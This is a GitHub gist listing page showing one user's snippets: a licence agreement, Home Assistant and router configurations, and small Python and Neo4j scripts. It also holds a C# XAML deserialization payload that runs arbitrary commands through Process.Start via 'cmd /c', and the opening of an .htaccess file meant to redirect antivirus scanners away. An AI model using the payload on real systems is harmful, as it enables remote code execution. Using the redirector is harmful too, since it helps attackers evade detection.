Skip to content

Instantly share code, notes, and snippets.

@Meatballs1
Meatballs1 / cla.md
Last active June 24, 2025 10:19
CLA

Individual Contributor License Agreement for hcpy (https://github.com/hcpy2-0/hcpy)

By making a contribution to this project, I certify that:

  1. The contribution was created in whole or in part by me and I have the right to submit it under the MIT License; or
  2. The contribution is based upon previous work that, to the best of my knowledge, is covered under an appropriate open source license and I have the right under that license to submit that work under the MIT License; or
  3. The contribution was provided directly to me by some other person who certified (1) or (2) and I have not modified it.
  4. I understand and agree that this project and the contribution are public and that a record of the contribution (including all personal information I submit with it, including my sign-off) is maintained indefinitely and may be redistributed consistent with this project or the MIT license.
@Meatballs1
Meatballs1 / send-camera-snapshot-notification-on-doorbell.yaml
Created January 23, 2025 20:20 — forked from aceindy/send-camera-snapshot-notification-on-doorbell.yaml
Send a camera snapshot when doorbell was activated based on Vorion’s motion detection
blueprint:
name: Send a camera snapshot when doorbell was activated
description: 'This automation blueprint creates a camera snapshot when the doorbell was activated and
sends a notification to your phone with the picture.
'
domain: automation
input:
binary_sensor:
name: Push button
@Meatballs1
Meatballs1 / agile_prices.py
Created December 15, 2024 17:11
Agile Price Batpred yaml
from OctopusAgile import Agile
import datetime
import yaml
today = datetime.date.today()
agile = Agile('B') # N is the region code for Southern Scotland
date_from = today + datetime.timedelta(days=1)
date_to = today + datetime.timedelta(days=2)
rates = agile.get_rates(date_from, date_to)
@Meatballs1
Meatballs1 / gist:3f6e7b6a02445dc010bb166cadf427c9
Created July 21, 2023 15:57
networkd-dispatcher wifi/ethernet switchover
##
#/etc/networkd-dispatcher/no-carrier.d/50-ifdown-hooks
##
#!/bin/bash
enable_disable_wifi ()
{
if [ "$IFACE" == "enp0s25" ]; then
echo "$(date) - $IFACE down wifi unblocked"
rfkill unblock wifi
@Meatballs1
Meatballs1 / README.md
Created April 1, 2021 00:48
Sky/NowTV DD-WRT WAN Authentication DHCP Option 61 MER (not PPPOE)

Setup > WAN Setup > WAN Connection Type: DHCP Authentication

DHCP Client ID: 686940736b7964736c7c6162636465666768 DHCP IPV6 Client ID: 686940736b7964736c7c6162636465666768

IPV6 > IPv6Support > IPv6 Type : DHCPv6 with Prefix Delegation

@Meatballs1
Meatballs1 / Payload.cs
Created November 4, 2020 11:11
XAMLReader.Load(Stream) payload avoiding Root Element Is Missing exception
String cmd = "ping 127.0.0.1";
String payload = @"<ResourceDictionary xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""><ObjectDataProvider ObjectType=""sd:Process"" MethodName=""Start"" x:Key=""LaunchCalc""><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c """ + cmd + @"""</System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>";
@Meatballs1
Meatballs1 / gist:998d63ab12ce503bfc5dfb3e70ed56ac
Last active April 15, 2020 23:26
Nintendo DS WiFi Settings DD-WRT Error 51099
Wireless > Advanced Settings > Bluetooth Coexistence Mode - Set to Disabled
Use DNS server:
https://github.com/barronwaffles/dwc_network_server_emulator/wiki
@Meatballs1
Meatballs1 / .htaccess
Last active August 16, 2024 03:09 — forked from curi0usJack/.htaccess
Drop into your apache working directory to instantly redirect most AV crap elsewhere.
Define REDIR_TARGET example.com
RewriteEngine On
RewriteOptions Inherit
# Uncomment the below line for verbose logging, including seeing which rule matched.
#LogLevel alert rewrite:trace5
# BURN AV BURN
@Meatballs1
Meatballs1 / anonymize.cypher
Created August 2, 2017 09:37
Anonymize user names in Neo4j APOC
MATCH (u:user)
WITH u, apoc.text.join(apoc.coll.randomItems(split("abcdefghijklmnopqrstuvwxyz0123456789",""), 12, true),"") as identifier
SET u.name=identifier
RETURN COUNT(u)
@Meatballs1
Meatballs1 / gist:dcd0a6017fbf3b4fe56861ac54e7cc1f
Created August 2, 2017 09:26
Generate a random identifier with Neo4j Apoc
RETURN apoc.text.join(apoc.coll.randomItems(split("abcdefghijklmnopqrstuvwxyz0123456789",""), 12, true),"")